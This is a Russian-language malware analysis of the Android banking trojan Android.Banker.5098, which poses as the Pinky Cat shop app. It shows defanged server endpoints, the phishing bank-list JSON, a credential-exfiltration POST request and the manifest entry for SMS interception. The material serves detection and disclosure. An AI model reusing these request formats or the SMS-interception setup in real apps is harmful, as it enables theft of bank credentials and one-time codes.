- SHA1: fafc06e02b5b8ab79a69c74376bb01de85d0c06c
Описание
Android.Banker.5098 ― вредоносная программа, предназначенная для работы на Android-устройствах и нацеленная на клиентов кредитных организаций. Она похищает логины и пароли от учетных записей систем дистанционного банковского обслуживания, а также перехватывает СМС с одноразовыми кодами подтверждения операций. Кроме того, она передает злоумышленникам персональную информацию пользователей. Android.Banker.5098 распространяется под видом различных приложений-магазинов, которые на первый взгляд выглядят и работают как настоящие. В действительности троян не имеет полезной функциональности и вводит пользователей в заблуждение. Рассматриваемая модификация распространялась под видом магазина Pinky Cat.
Принцип действия
В поддельном приложении онлайн-магазина имеется возможность изучить товар и добавить его в корзину.
На этапе оформления покупки троян предлагает указать следующие персональные данные, которые якобы необходимы для доставки заказа:
- имя;
- номер мобильного телефона;
- адрес;
- дату рождения;
- номер идентификационной карты (Identification Card Number, Identity Number).
Далее троян имитирует процесс оплаты товара. Для этого на удаленный сервер направляется POST-запрос, в ответ на который приходит список фальшивых банковских форм:
hxxps[:]//mall-base[.]com/app/api/action/getBankList/
В запросе передается тип приложения:
{"appType":"CAT"}
Ответ со списком фишинговых форм:
{
"statusCode":200,
"resultMsg":"Success",
"data":[
{
"id":1,
"bankName":"MAYBANK",
"pathUrl":"hxxps[:]//pay[.]mall-base[.]com/maybank/pay.html",
"imgUrl":"hxxps[:]//pay[.]mall-base[.]com/icon/maybank.png"
},
{
"id":2,
"bankName":"HLB CONNECT",
"pathUrl":"hxxps[:]//pay[.]mall-base[.]com/hlb/pay.html",
"imgUrl":"hxxps[:]//pay[.]mall-base[.]com/icon/hlb.png"
},
{
"id":3,
"bankName":"CIMB",
"pathUrl":"hxxps[:]//pay[.]mall-base[.]com/cimb/pay.html",
"imgUrl":"hxxps[:]//pay[.]mall-base[.]com/icon/cimb.png"
},
{
"id":4,
"bankName":"PUBLIC BANK",
"pathUrl":"hxxps[:]//pay.mall-base[.]com/pcb/pay.html",
"imgUrl":"hxxps[:]//pay.mall-base[.]com/icon/pcb.png"
},
{
"id":5,
"bankName":"AFFIN BANK",
"pathUrl":"hxxps[:]//pay.mall-base[.]com/affin/pay.html",
"imgUrl":"hxxps[:]//pay.mall-base[.]com/icon/affin.png"
},
{
"id":11,
"bankName":"BSN",
"pathUrl":"hxxps[:]//pay[.]mall-base[.]com/bsn/pay.html",
"imgUrl":"hxxps[:]//pay.mall-base[.]com/icon/bsn.png"
},
{
"id":25,
"bankName":"Bank Islam",
"pathUrl":"hxxps[:]//pay[.]mall-base[.]com/bimb/pay.html",
"imgUrl":"hxxps[:]//pay[.]mall-base[.]com/icon/bimb.png"
},
{
"id":92,
"bankName":"AMBANK",
"pathUrl":"hxxps[:]//pay[.]mall-base[.]com/ambb/pay.html",
"imgUrl":"hxxps[:]//pay.mall-base[.]com/icon/ambb.png"
},
{
"id":104,
"bankName":"Alliance Bank",
"pathUrl":"hxxps[:]//pay.mall-base[.]com/abmb/pay.html",
"imgUrl":"hxxps[:]//pay.mall-base[.]com/icon/abmb.png"
}
]
}
Далее пользователю предлагается выбрать один из банков, представленных в списке:
После выбора банка на сервер передается запрос, в ответ на который загружается вредоносная форма, соответствующая этому банку. В этом запросе также передаются ранее введенные данные пользователя. Пример:
hxxps[:]//pay[.]mall-base[.]com/pcb/pay.html?token=***&phoneNumber=***&ic=***&device_id=***&app_type=CAT
где:
- token ― токен текущей сессии;
- app_type ― внутреннее имя троянского приложения;
- device_id ― идентификатор Android-устройства;
- phoneNumber ― номер мобильного телефона;
- ic ― номер индивидуальной карты, удостоверяющей личность.
Далее троян открывает загруженную форму. В ней жертве предлагается ввести имя пользователя и пароль для совершения платежа. При вводе любых данных пользователь увидит сообщение о том, что платеж совершить не удалось, при этом введенные им данные будут переданы на сервер hxxps[:]//pay[.]mall-base[.]com.
Пример запроса, который выполняется с веб-страницы фишинговой формы после подтверждения ввода банковских данных:
POST hxxps[:]//pay[.]mall-base[.]com/common/save.php HTTP/2
{"appType":"CAT","username":"***","password":"***","phoneNumber":"***","deviceId":"***","bankName":"PUBLIC BANK","ic":"***"}
Android.Banker.5098 перехватывает входящие СМС, чтобы похищать одноразовые коды из банка, а также другую информацию. Троян создан с использованием фреймворка flutter и задействует плагин Telephony, который применяется для перехвата СМС.
Для доступа к функциям работы с СМС запрашивается соответствующее системное разрешение:
Для перехвата СМС ресивер плагина Telephony регистрируется в манифесте троянского приложения:
<receiver android:name="com.shounakmulay.telephony.sms.IncomingSmsReceiver" android:permission="android.permission.BROADCAST_SMS" android:exported="true">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
Перехваченные сообщения передаются на удаленный сервер в POST-запросе:
hxxps[:]//mall-base[.]com/app/api/action/smsMessagePushAction/